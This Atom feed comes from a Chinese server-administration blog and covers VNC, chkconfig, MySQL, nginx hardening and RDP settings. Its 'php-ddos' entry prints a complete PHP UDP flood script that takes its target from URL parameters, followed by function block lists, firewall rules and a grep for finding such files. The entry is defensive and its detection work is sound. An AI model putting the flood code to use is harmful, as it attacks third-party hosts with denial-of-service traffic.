<?xml version="1.0" encoding="UTF-8"?>
  <feed xmlns="http://www.w3.org/2005/Atom">
  <title type="html"><![CDATA[風雲记事]]></title>
  <subtitle type="html"><![CDATA[站长博客，服务器安全，网站技术，技术的源动力]]></subtitle>
  <id>http://www.fengyn.cn/</id>
  <link rel="alternate" type="text/html" href="http://www.fengyn.cn/" /> 
  <link rel="self" type="application/atom+xml" href="http://www.fengyn.cn/atom.asp" /> 
  <generator uri="http://www.pjhome.net/" version="2.8">PJBlog3</generator> 
  <updated>2012-02-03T16:41:14+08:00</updated>

  <entry>
	  <title type="html"><![CDATA[ubuntu服务器版gnome桌面安装 ]]></title>
	  <author>
		 <name>fengyn</name>
		 <uri>http://www.fengyn.cn/</uri>
		 <email>fengyn5@163.com</email>
	  </author>
	  <category term="" scheme="http://www.fengyn.cn/default.asp?cateID=11" label="LINUX" /> 
	  <updated>2012-02-03T16:41:14+08:00</updated>
	  <published>2012-02-03T16:41:14+08:00</published>
		  <summary type="html"><![CDATA[建议ubuntu版本10.04或更高<br/>获取下更新<br/>apt-get up&#100;ate<br/>安装更新(可选操作)<br/>apt-get -y upgrade&nbsp;&nbsp;<br/>安装完整版本ubuntu-gnome桌面（debian不适用该指令）<br/>apt-get install -y ubuntu-desktop<br/>等待安装完成 <br/>安装vnc<br/>apt-get install -y vnc4server x11vnc<br/>启动VNC（首次使用设置密码）<br/>vncserver<br/>设置你的密码后，会启动VNC<br/>现在可以进入桌面，但是不是gnome桌面，我们还要设置一下<br/>结束VNC进程<br/>pkill -9 vnc<br/>清除日志文件<br/>rm -rf /tmp/.X1*<br/>编辑配置文件<br/>vi ~/.vnc/xstartup<br/>在最底部添加一行<br/>gnome-session &amp;<br/>保存，并启动VNC<br/>vncserver<br/>这样，就可以进入gnome桌面了？<br/>ubuntu的默认端口是5901 （debian通常为1）<br/>注：请勿越步操作]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.fengyn.cn/article/linux/333.htm" /> 
	  <id>http://www.fengyn.cn/default.asp?id=333</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Linux 设置apache,mysql开机启动 ]]></title>
	  <author>
		 <name>fengyn</name>
		 <uri>http://www.fengyn.cn/</uri>
		 <email>fengyn5@163.com</email>
	  </author>
	  <category term="" scheme="http://www.fengyn.cn/default.asp?cateID=11" label="LINUX" /> 
	  <updated>2011-12-15T21:06:04+08:00</updated>
	  <published>2011-12-15T21:06:04+08:00</published>
		  <summary type="html"><![CDATA[mysql设为linux服务<br/><br/>cp /usr/local/mysql5/share/mysql/mysql.server /etc/init.d/mysqld<br/>chkconfig --add mysqld<br/>chkconfig --level 2345 mysqld on<br/>chown mysql:mysql -R /usr/local/mysql5/<br/>service mysqld start<br/><br/>apache设为linux服务<br/><br/>cp /usr/local/apache2/bin/apachectl /etc/init.d/httpd<br/>vi /etc/init.d/httpd<br/><br/>在在#!/bin/sh后面加入下面两行<br/>#chkconfig:345 85 15<br/>#description: Start and stops the Apache HTTP Server.<br/><br/>然后<br/>chmod +x /etc/rc.d/init.d/httpd<br/>chkconfig --add httpd<br/>然后可以用setup命令进入服务设置，设置为开机启动<br/> <br/>第二种方法：<br/>在/etc/rc.d/rc.local中增加启动apache的命令，例如：/usr/local/httpd/bin/apachectl start<br/>----------------------------------<br/>chkconfig命令 收藏<br/>功能说明：检查、设定系统的各种服务。<br/><br/>语法：chkconfig [--add][--del][--list][系统服务]或<br/>chkconfig [--level&lt;等级代号&gt;][系统服务][on/off/reset]<br/><br/>补充说明:这个是redhat公司遵循gpl规则所开发的程序,它可以查询操作系统在每一个执行等级(runlevel)中,会执行哪些系统服务，其中包括各种daemon。<br/>linux os 将操作环境分为以下7个等级:<br/><br/>0:开机(请不要切换到此等级)<br/>1:单人使用者模式的文字界面<br/>2:多人使用者模式的文字界面,不具有网络档案系统(NFS)功能<br/>3:多人使用者模式的文字界面,具有网络档案系统(NFS)功能<br/>4:某些发行版的linux使用此等级进入x windows system<br/>5:某些发行版的linux使用此等级进入x windows system<br/>6:重新启动<br/><br/>参数:&nbsp;&nbsp;&nbsp;&nbsp;--add&nbsp;&nbsp; 新增所指定的系统服务<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; --del 删除所指定的系统服务<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; --level 指定该系统服务要在哪个执行等级中开启或关闭<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; --list&nbsp;&nbsp; 列出当前可从chkconfig指令管理的所有系统服务和等级代号<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;on/off/reset&nbsp;&nbsp; 在指定的执行登记,开启/关闭/重置该系统服务<br/>chkconfig命令主要用来更新（启动或停止）和查询系统服务的运行级信息。谨记chkconfig不是立即自动禁止或激活一个服务，它只是简单的改变了符号连接。<br/>语法：<br/>&nbsp;&nbsp;&nbsp;&nbsp;chkconfig --list [name]<br/>&nbsp;&nbsp;&nbsp;&nbsp;chkconfig --add name<br/>&nbsp;&nbsp;&nbsp;&nbsp;chkconfig --del name<br/>&nbsp;&nbsp;&nbsp;&nbsp;chkconfig [--level levels] name &lt;on|off|reset&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;chkconfig [--level levels] name<br/>&nbsp;&nbsp;&nbsp;&nbsp;chkconfig 没有参数运行时，显示用法。如果加上服务名，那么就检查这个服务是否在当前运行级启动。如果是，返回true，否则返回false。如果在服务名后面指定 了on，off或者reset，那么chkconfi 会改变指定服务的启动信息。on和off分别指服务被启动和停止，reset指重置服务的启动信息，无论有问题的初始化脚本指定了什么。on和off开 关，系统默认只对运行级3，4，5有效，但是reset可以对所有运行级有效。<br/>&nbsp;&nbsp;&nbsp;&nbsp;--level选项可以指定要查看的运行级而不一定是当前运行级。<br/>&nbsp;&nbsp;&nbsp;&nbsp;需要说明的是，对于每个运行级，只能有一个启动脚本或者停止脚本。当切换运行级时，init不会重新启动已经启动的服务，也不会再次去停止已经停止的服务。<br/>&nbsp;&nbsp;&nbsp;&nbsp;chkconfig --list ：显示所有运行级系统服务的运行状态信息（on或off）。如果指定了name，那么只显示指定的服务在不同运行级的状态。<br/>&nbsp;&nbsp;&nbsp;&nbsp;chkconfig --add name：增加一项新的服务。chkconfig确保每个运行级有一项启动(S)或者杀死(K)入口。如有缺少，则会从缺省的init脚本自动建立。<br/>&nbsp;&nbsp;&nbsp;&nbsp;chkconfig --del name：删除服务，并把相关符号连接从/etc/rc[0-6].d删除。<br/>&nbsp;&nbsp;&nbsp;&nbsp;chkconfig [--level levels] name &lt;on|off|reset&gt;：设置某一服务在指定的运行级是被启动，停止还是重置。例如，要在3，4，5运行级停止nfs服务，则命令如下：<br/>&nbsp;&nbsp;&nbsp;&nbsp;chkconfig --level 345 nfs off<br/>运行级文件：<br/>&nbsp;&nbsp;&nbsp;&nbsp;每个被chkconfig管理的服务需要在对应的init.d下的脚本加上两行或者更多行的注释。第一行告诉chkconfig缺省启动的运行级以及启动 和停止的优先级。如果某服务缺省不在任何运行级启动，那么使用 - 代替运行级。第二行对服务进行描述，可以用\ 跨行注释。<br/>例如，random.init包含三行：<br/># chkconfig: 2345 20 80<br/># description: Saves and restores system entropy pool for \<br/># higher quality random number generation.<br/>附加介绍一下Linux系统的运行级的概念：<br/>&nbsp;&nbsp;&nbsp;&nbsp;Linux中有多种运行级，常见的就是多用户的2，3，4，5 ，很多人知道5是运行X-Windows的级别，而0就是关机了。运行级的改变可以通过init命令来切换。例如，假设你要维护系统进入单用户状态，那 么，可以使用init1来切换。在Linux的运行级的切换过程中，系统会自动寻找对应运行级的目录/etc/rc[0-6].d下的K和S开头的文件， 按后面的数字顺序，执行这些脚本。对这些脚本的维护，是很繁琐的一件事情，Linux提供了chkconfig命令用来更新和查询不同运行级上的系统服 务。<br/>范例:<br/><br/>1.查看在各种不同的执行等级中,各项服务的状况:<br/>$chkconfig --list<br/><br/>2.列出系统服务vsftpd在各个执行等级的启动情况：<br/>$chkconfig --list vsftpd<br/><br/>3.在执行等级3,5时，关闭vsftpd系统服务：<br/>$chkconfig --level 35 vsftpd off<br/><br/>4.在执行等级2，3，5时，开启 vsftpd系统服务：<br/>$chkconfig --level 235 vsftpd on<br/><br/>5.关闭一些自己不需要的服务 -&gt;<br/>如果没有打印机：<br/>chkconfig --level 235 cups off <br/>如果没有局域网：<br/>chkconfig --level 235 smb off<br/>如果不需要远程用户登录的：<br/>chkconfig --level 235 sshd off<br/>如果不需要定时任务的：<br/>chkconfig --level 235 crond off<br/>如果不需要添加新硬件的：<br/>chkconfig --level 235 kudzu off<br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.fengyn.cn/article/linux/apache_mysql.htm" /> 
	  <id>http://www.fengyn.cn/default.asp?id=332</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Xen VPS 时间异常的解决方法]]></title>
	  <author>
		 <name>fengyn</name>
		 <uri>http://www.fengyn.cn/</uri>
		 <email>fengyn5@163.com</email>
	  </author>
	  <category term="" scheme="http://www.fengyn.cn/default.asp?cateID=11" label="LINUX" /> 
	  <updated>2011-11-30T13:29:08+08:00</updated>
	  <published>2011-11-30T13:29:08+08:00</published>
		  <summary type="html"><![CDATA[1.通过SSH登陆到VPS.<br/><br/>2.vim /etc/sysctl.conf<br/><br/>3.在文件底部加入<br/><br/><br/>xen.independent_wallclock=1<br/>4.执行 sysctl -p<br/><br/>5.执行以下命令：<br/><br/>rm -rf /etc/localtime<br/>ln -s /usr/share/zoneinfo/Asia/Shanghai /etc/localtime<br/>yum install -y ntp<br/>ntpdate us.pool.ntp.org<br/>date]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.fengyn.cn/article/linux/331.htm" /> 
	  <id>http://www.fengyn.cn/default.asp?id=331</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[关于php-ddos]]></title>
	  <author>
		 <name>fengyn</name>
		 <uri>http://www.fengyn.cn/</uri>
		 <email>fengyn5@163.com</email>
	  </author>
	  <category term="" scheme="http://www.fengyn.cn/default.asp?cateID=9" label="网站建设" /> 
	  <updated>2011-11-28T21:45:50+08:00</updated>
	  <published>2011-11-28T21:45:50+08:00</published>
		  <summary type="html"><![CDATA[特征:用PHP代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:<br/><br/><br/>$packets = 0; <br/>$ip = $_GET[\&#39;ip\&#39;]; <br/>$rand = $_GET[\&#39;port\&#39;]; <br/>set_time_limit(0); <br/>ignore_user_abort(FALSE);<br/><br/>$exec_time = $_GET[\&#39;time\&#39;];<br/><br/>$time = time(); <br/>print \&#34;Flooded: $ip on port $rand<br/><br/>\&#34;; <br/>$max_time = $time+$exec_time;<br/><br/><br/>for($i=0;$i&lt;65535;$i++){ <br/>$out .= \&#34;X\&#34;; <br/>} <br/>while(1){ <br/>$packets++; <br/>if(time() &gt; $max_time){ <br/>break; <br/>}<br/><br/>$fp = fsockopen(\&#34;udp://$ip\&#34;, $rand, $errno, $errstr, 5); <br/>if($fp){ <br/>fwrite($fp, $out); <br/>fclose($fp); <br/>} <br/>} <br/>echo \&#34;Packet complete at \&#34;.time(\&#39;h:i:s\&#39;).\&#34; with $packets (\&#34; . round(($packets*65)/1024, 2) . \&#34; mB) packets averaging \&#34;. round($packets/$exec_time, 2) . \&#34; packets/s \\n\&#34;; <br/>?&gt;<br/><br/>表现特征:一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到ddos攻击是不同的,Ddos是不断收到大量数据包.<br/><br/>解决办法:<br/>先停止IIS，这样就暂时没法对外攻击了，然后<br/><br/>禁止上述的代码: <br/>在c:\windows\php.ini里设置: <br/>disable_functions =gzinflate,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alt&#101;r,ini_alt&#101;r,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen<br/><br/>在c:\windows\php.ini里设其值为Off <br/>allow_url_fopen = Off<br/><br/>并且:<br/><br/>;extension=php_sockets.dll<br/><br/>前面的;号一定要有,意思就是限制用sockets.dll<br/><br/><br/>前面的;号要保留<br/><br/>然后启动IIS<br/><br/><br/>如果上述方式仍然无效,你可以在IIS中,允许的扩展中,禁止PHP的扩展测试.<br/><br/>另外,对于没加密的php攻击代码,还可以用以下办法处理: <br/>1.在IP策略,或防火墙中,禁止所有udp向外发送<br/>将以下红色文本复制到记事本，另存为 banudp.bat 或任意名，双击运行即可，<br/><br/>REM 添加安全策略，名称<br/>netsh ipsec static add policy name=我的安全策略<br/><br/>REM 添加 IP筛选器列表<br/>netsh ipsec static add filterlist name=允许列表<br/>netsh ipsec static add filterlist name=拒绝列表<br/><br/>REM 添加筛选器到IP筛选器列表(允许上网)<br/>netsh ipsec static add filter filterlist=允许列表&nbsp;&nbsp;srcaddr=me dstaddr=any description=dns访问 protocol=udp mirrored=yes dstport=53<br/><br/>REM 添加筛选器到IP筛选器列表(不让别人访问)<br/>netsh ipsec static add filter filterlist=拒绝列表 srcaddr=any dstaddr=me description=别人到我任何访问 protocol=udp mirrored=yes<br/><br/>REM 添加筛选器操作<br/>netsh ipsec static add filteraction name=可以&nbsp;&nbsp;action=permit<br/>netsh ipsec static add filteraction name=不可以&nbsp;&nbsp;action=block<br/><br/>REM 创建一个链接指定 IPSec 策略、筛选器列表和筛选器操作的规则(加入规则到我的安全策略)<br/>netsh ipsec static add rule name=允许规则&nbsp;&nbsp;policy=我的安全策略 filterlist=允许列表 filteraction=可以<br/>netsh ipsec static add rule name=拒绝规则&nbsp;&nbsp;policy=我的安全策略 filterlist=拒绝列表 filteraction=不可以<br/><br/>REM 激活我的安全策略<br/>netsh ipsec static set policy name=我的安全策略 assign=y<br/><br/>2.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词<br/><br/><br/>win2003 关闭udp 也可使用西部数据发布的补丁程序，下载地址是：<br/><br/><a href="http://downinfo.myhostadmin.net/udpdeny.rar" target="_blank" rel="external">http://downinfo.myhostadmin.net/udpdeny.rar</a><br/><br/>解压后双击&#34;udp.bat&#34;即可自动创建安全规则。<br/><br/><br/><br/><div class="UBBPanel quotePanel"><div class="UBBTitle"><img src="http://www.fengyn.cn/images/quote.gif" style="margin:0px 2px -3px 0px" alt=""/> </div><div class="UBBContent">找到phpddos文件 的方法<br/><br/>首先创建一个文件夹<br/><br/>mkdir /scan/<br/>然后搜索所有带了udp://的php文件<br/><br/>find /home/* -type f -name &#34;*.php&#34; |xargs grep &#34;udp://&#34; &gt; /scan/scan.txt<br/><br/>搜索完毕之后查看/scan/scan.txt即可，如果phpddos木马是加密的，这个就需要点手段了，搜索加密字符。<br/><br/>这个方法也可以用来搜索webshell<br/><br/>虽然很老套，不过很管用。</div></div><br/><br/>linux系统下，可通过配置iptables过滤udp数据。以下规则供参考。<br/><br/>iptables -A INPUT -p tcp -m tcp --sport 53 --dport 1024:65535 -m state --state ESTABLISHED -j ACCEPT<br/>iptables -A INPUT -p udp -m udp --sport 53 --dport 1024:65535 -m state --state ESTABLISHED -j ACCEPT<br/>iptables -A OUTPUT -p tcp -m tcp --sport 1024:65535 -d 209.11.240.36 --dport 53 -m state --state NEW,ESTABLISHED -j ACCEPT<br/>iptables -A OUTPUT -p udp -m udp --sport 1024:65535 -d 209.11.240.36 --dport 53 -m state --state NEW,ESTABLISHED -j ACCEPT<br/>-A OUTPUT -p udp -j REJECT<br/><br/><br/><br/>参考资料：<a href="http://www.hostloc.com/thread-55975-1-1.html" target="_blank" rel="external">http://www.hostloc.com/thread-55975-1-1.html</a><br/><a href="http://0e2.net/post/1524.html" target="_blank" rel="external">http://0e2.net/post/1524.html</a>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.fengyn.cn/article/web/330.htm" /> 
	  <id>http://www.fengyn.cn/default.asp?id=330</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Mysql命令备份所有数据库]]></title>
	  <author>
		 <name>fengyn</name>
		 <uri>http://www.fengyn.cn/</uri>
		 <email>fengyn5@163.com</email>
	  </author>
	  <category term="" scheme="http://www.fengyn.cn/default.asp?cateID=11" label="LINUX" /> 
	  <updated>2011-11-18T23:06:14+08:00</updated>
	  <published>2011-11-18T23:06:14+08:00</published>
		  <summary type="html"><![CDATA[mysqldump --user=用户名 --password=密码 --lock-all-tables --all-databases &gt;]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.fengyn.cn/article/linux/329.htm" /> 
	  <id>http://www.fengyn.cn/default.asp?id=329</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[linux下面设置或者改变mysql中文编码]]></title>
	  <author>
		 <name>fengyn</name>
		 <uri>http://www.fengyn.cn/</uri>
		 <email>fengyn5@163.com</email>
	  </author>
	  <category term="" scheme="http://www.fengyn.cn/default.asp?cateID=11" label="LINUX" /> 
	  <updated>2011-10-10T20:20:10+08:00</updated>
	  <published>2011-10-10T20:20:10+08:00</published>
		  <summary type="html"><![CDATA[最近用一台LINUX机器做数据库服务器，上面装了MYSQL数据库，项目的数据库就全都放这台机器，但是默认的MYSQL编码都是latin1的，如果存中文就会有问题，解决方案如下：<br/><br/>#vi /etc/my.cnf<br/><br/>在里面相应的地方加上如下编码设置<br/>[mysqld]<br/>default-character-set=gbk<br/><br/>[mysql.server]<br/>default-character-set=gbk<br/><br/>[mysqld_safe]<br/><br/>default-character-set=gbk<br/><br/>[client]<br/>default-character-set=gbk<br/><br/>[mysql]<br/>default-character-set=gbk<br/><br/>重启MYSQL即可。<br/><br/>如果不知道MYSQL在哪个地方，运行<br/>#wh&#101;reis mysql<br/><br/>即可找到MYSQL安装在哪个地方<br/><br/>如果想查设置是不是成功了，可以运行如下命令：<br/><br/># mysql -u root -proot<br/>Welcome to the MySQL monitor. Commands end with ; o&#114; \g.<br/>Your MySQL connection id is 2 to server version: 5.0.22<br/><br/>Type &#39;help;&#39; o&#114; &#39;\h&#39; for help. Type &#39;\c&#39; to clear the buffer.<br/><br/>mysql&gt; show variables like &#39;%char%&#39;;<br/>+--------------------------+----------------------------+<br/>| Variable_name | Value |<br/>+--------------------------+----------------------------+<br/>| character_set_client | gbk | <br/>| character_set_connection | gbk | <br/>| character_set_database | gbk | <br/>| character_set_filesystem | binary | <br/>| character_set_results | gbk | <br/>| character_set_server | gbk | <br/>| character_set_system | utf8 | <br/>| character_sets_dir | /usr/share/mysql/charsets/ | <br/>+--------------------------+----------------------------+<br/>8 rows in set (0.00 sec)<br/><br/>上面的就已经显示编码设置成功了。]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.fengyn.cn/article/linux/mysql-bianma.htm" /> 
	  <id>http://www.fengyn.cn/default.asp?id=328</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[宏碁（acer）AOD257-N57Ckk 10.1英寸笔记本电脑无线网卡驱动for xp]]></title>
	  <author>
		 <name>fengyn</name>
		 <uri>http://www.fengyn.cn/</uri>
		 <email>fengyn5@163.com</email>
	  </author>
	  <category term="" scheme="http://www.fengyn.cn/default.asp?cateID=5" label="技术学习" /> 
	  <updated>2011-09-13T13:56:42+08:00</updated>
	  <published>2011-09-13T13:56:42+08:00</published>
		  <summary type="html"><![CDATA[宏碁（acer）AOD257-N57Ckk 10.1英寸笔记本电脑这个上网本默认装的是linux系统，回来用u盘改装了xp,呵呵，那个网卡驱动叫难找啊。<br/><br/>后来先找了一个无线网卡的驱动，见下面的下载地址<br/>然后连上网，装上驱动精灵，呵呵，驱动然后全部搞定。哈哈。<br/><br/>京东上买的上网本。<br/><br/>如果有朋友装了xp找不到驱动，就可以试试这个办法哈。当然如果你没有无线网络，你先要找网卡的那个驱动了。。。<br/><a href="http://u.115.com/file/dnh4k620" target="_blank" rel="external">http://u.115.com/file/dnh4k620</a>#Intel_Advanced-N_drv14.0_XP_32.rar]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.fengyn.cn/article/jishu/327.htm" /> 
	  <id>http://www.fengyn.cn/default.asp?id=327</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Nginx的配置安全加固分享 ]]></title>
	  <author>
		 <name>fengyn</name>
		 <uri>http://www.fengyn.cn/</uri>
		 <email>fengyn5@163.com</email>
	  </author>
	  <category term="" scheme="http://www.fengyn.cn/default.asp?cateID=12" label="NGINX" /> 
	  <updated>2011-06-10T19:42:30+08:00</updated>
	  <published>2011-06-10T19:42:30+08:00</published>
		  <summary type="html"><![CDATA[下面分享一段NGINX的配置代码，具体作用附有简单注释。<br/>大家要记住一个原则，那就是：能执行php程序的目录一定不要开放读写权限，而可以读写的目录(比如上传)一定不要赋予php执行权限。<br/><br/>这段代码需要放在server段里面(较前位置，最好放在location / {...}前面)，也可以存成一个文件在每个vhost里include一下<br/><br/><br/># 2011 (C) cnpanel<br/># Disable visitors without agent<br/>if ($http_user_agent ~ ^$) { return&nbsp;&nbsp;412; }<br/># Disable possible Apache access files<br/>location ~ /\.ht {deny&nbsp;&nbsp;all;}<br/># Never can not visit o&#114; download files o&#114; DIRs starting with #<br/>location ~ /\# {deny all;}<br/># Disable risk request in some DIRs for secure<br/>location ~* /(image|images|img|imgs|upload|uploads|upimg|upimgs|upfile|upfiles|down|download|downloads|attachment|attachments|js|css|style|styles|tpl|template|templates|theme|themes|view|views|lang|language|languages|setting|settings|app|apps|include|includes|class|classes|mod|mods|model|models|lib|libs|control|controls|source|sources|plugin|plugins|data|datas|database|tmp|temp|ipdata|html|avatar|avatars)/(.*)\.(php|php3|php4|php5|cgi|asp|aspx|jsp|shtml|shtm|pl|cfm|sql|mdb|dll|exe|com|inc|sh)$ {deny all;}<br/><br/><br/>注意。这里边的目录，如果和自己的程序的有的目录 影响的，可以自己设置。<br/>这个是网友分享的。<br/><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.fengyn.cn/article/nginx/326.htm" /> 
	  <id>http://www.fengyn.cn/default.asp?id=326</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[linux下mysql的root密码忘记解决方法 ]]></title>
	  <author>
		 <name>fengyn</name>
		 <uri>http://www.fengyn.cn/</uri>
		 <email>fengyn5@163.com</email>
	  </author>
	  <category term="" scheme="http://www.fengyn.cn/default.asp?cateID=11" label="LINUX" /> 
	  <updated>2011-06-10T18:17:37+08:00</updated>
	  <published>2011-06-10T18:17:37+08:00</published>
		  <summary type="html"><![CDATA[一. MySQL密码的恢复方法之一<br/><br/>1．首先确认服务器出于安全的状态，也就是没有人能够任意地连接MySQL数据库。 <br/>因为在重新设置MySQL的root密码的期间，MySQL数据库完全出于没有密码保护的 <br/>状态下，其他的用户也可以任意地登录和修改MySQL的信息。可以采用将MySQL对 <br/>外的端口封闭，并且停止Apache以及所有的用户进程的方法实现服务器的准安全 <br/>状态。最安全的状态是到服务器的Console上面操作，并且拔掉网线。 <br/><br/>2．修改MySQL的登录设置： <br/># vi /etc/my.cnf <br/>在[mysqld]的段中加上一句：skip-grant-tables <br/>例如： <br/>[mysqld] <br/>datadir=/var/lib/mysql <br/>socket=/var/lib/mysql/mysql.sock <br/>skip-grant-tables <br/>保存并且退出vi。 <br/><br/>3．重新启动mysqld <br/># /etc/init.d/mysqld restart <br/>Stopping MySQL: [ OK ] <br/>Starting MySQL: [ OK ] <br/><br/>4．登录并修改MySQL的root密码 <br/># /usr/bin/mysql <br/>Welcome to the MySQL monitor. Commands end with ; o&#114; \g. <br/>Your MySQL connection id is 3 to server version: 3.23.56 <br/><br/>Type &#39;help;&#39; o&#114; &#39;\h&#39; for help. Type &#39;\c&#39; to clear the buffer. <br/><br/>mysql&gt; USE mysql ; <br/>Reading table information for completion of table and column names <br/>You can turn off this feature to get a quicker startup with -A <br/><br/>Database changed <br/>mysql&gt; Up&#100;ate user SET Password = password ( &#39;new-password&#39; ) Wh&#101;re User = &#39;root&#39; ; <br/>Query OK, 0 rows affected (0.00 sec) <br/>Rows matched: 2 Changed: 0 Warnings: 0 <br/><br/>mysql&gt; flush privileges ; <br/>Query OK, 0 rows affected (0.01 sec) <br/><br/>mysql&gt; quit <br/>Bye <br/><br/>5．将MySQL的登录设置修改回来 <br/># vi /etc/my.cnf <br/>将刚才在[mysqld]的段中加上的skip-grant-tables删除 <br/>保存并且退出vi。 <br/><br/>6．重新启动mysqld <br/># /etc/init.d/mysqld restart <br/>Stopping MySQL: [ OK ] <br/>Starting MySQL: [ OK ] <br/><br/>7．恢复服务器的正常工作状态 <br/>将步骤一中的操作逆向操作。恢复服务器的工作状态。<br/><br/>二。 MySQL密码的恢复方法之二<br/>如果忘记了MySQL的root密码，可以用以下方法重新设置： <br/>1. KILL掉系统里的MySQL进程； <br/>killall -TERM mysqld <br/>2. 用以下命令启动MySQL，以不检查权限的方式启动； <br/>safe_mysqld --skip-grant-tables &amp; <br/>3. 然后用空密码方式使用root用户登录 MySQL； <br/>mysql -u root <br/>4. 修改root用户的密码； <br/>mysql&gt; up&#100;ate mysql.user set password=PASSWORD(&#39;新密码&#39;) wh&#101;re User=&#39;root&#39;; <br/>mysql&gt; flush privileges; <br/>mysql&gt; quit <br/>重新启动MySQL，就可以使用新密码登录了。<br/><br/><br/>三. MySQL密码的恢复方法三<br/>有可能你的系统没有 safe_mysqld 程序(比如我现在用的 ubuntu操作系统, apt-get安装的mysql) , 下面方法可以恢复<br/>1. 停止mysqld； <br/>/etc/init.d/mysql stop<br/>(您可能有其它的方法,总之停止mysqld的运行就可以了)<br/>2. 用以下命令启动MySQL，以不检查权限的方式启动； <br/>mysqld --skip-grant-tables &amp;<br/>3. 然后用空密码方式使用root用户登录 MySQL； <br/>mysql -u root<br/>4. 修改root用户的密码； <br/>mysql&gt; up&#100;ate mysql.user set password=PASSWORD(&#39;newpassword&#39;) wh&#101;re User=&#39;root&#39;; <br/>mysql&gt; flush privileges; <br/>mysql&gt; quit <br/>重新启动MySQL<br/>/etc/init.d/mysql restart<br/>就可以使用新密码 newpassword 登录了。<br/><br/><br/><a href="http://blog.chinaunix.net/space.php?uid=20544356" target="_blank" rel="external">http://blog.chinaunix.net/space.php?uid=20544356</a>&amp;do=blog&amp;id=132378]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.fengyn.cn/article/linux/325.htm" /> 
	  <id>http://www.fengyn.cn/default.asp?id=325</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[win2003 超过最大连接数 设置允许多人同时远程连接]]></title>
	  <author>
		 <name>fengyn</name>
		 <uri>http://www.fengyn.cn/</uri>
		 <email>fengyn5@163.com</email>
	  </author>
	  <category term="" scheme="http://www.fengyn.cn/default.asp?cateID=5" label="技术学习" /> 
	  <updated>2011-06-08T09:53:08+08:00</updated>
	  <published>2011-06-08T09:53:08+08:00</published>
		  <summary type="html"><![CDATA[表现：可以两个用户连接上，第三个用户再连接，会提示“超过最大连接数”<br/><br/>1、检查 可用连接数<br/><br/>控制面板---管理工具---终端服务配置--连接---右侧窗口（右键RDP-Tcp属性）---网卡--可以看到这里可用连接数默认为2，这是主要原因<br/><br/> <br/><br/>2、安装2个终端相关的2个服务<br/><br/>控制面板--添加删除程序---添加/删除 windows组件----终端服务器和终端服务器授权<br/><br/> <br/><br/>3、激活终端服务授权<br/><br/>管理工具---终端服务授权---右侧窗口（右键选激活服务，按向导即可。）<br/><br/> <br/><br/>4、更改终端服务设置<br/><br/>管理工具---终端服务配置---左侧窗口（点击服务器设置）---右侧窗口，将 限制每个用户使用一个会话 设置为否。<br/><br/> <br/><br/>5、检查和设置第一步的操作（更改限制数，如30）。<br/><br/><br/>可以在运行里打开gpedit.msc，依次展开：计算机配置——&gt;管理模板——&gt;windows组件——&gt;终端服务。<br/>在右边。配置，限制终端服务用户到一个远程会话——禁用（当然如果你不希望同一个用户多个人同时登录的话就不要禁用啦），限制连接数量——启用（并且里边填写适当的数字），允许用户使用终端服务远程连接——启用。<br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.fengyn.cn/article/jishu/324.htm" /> 
	  <id>http://www.fengyn.cn/default.asp?id=324</id>
  </entry>	
		
</feed>

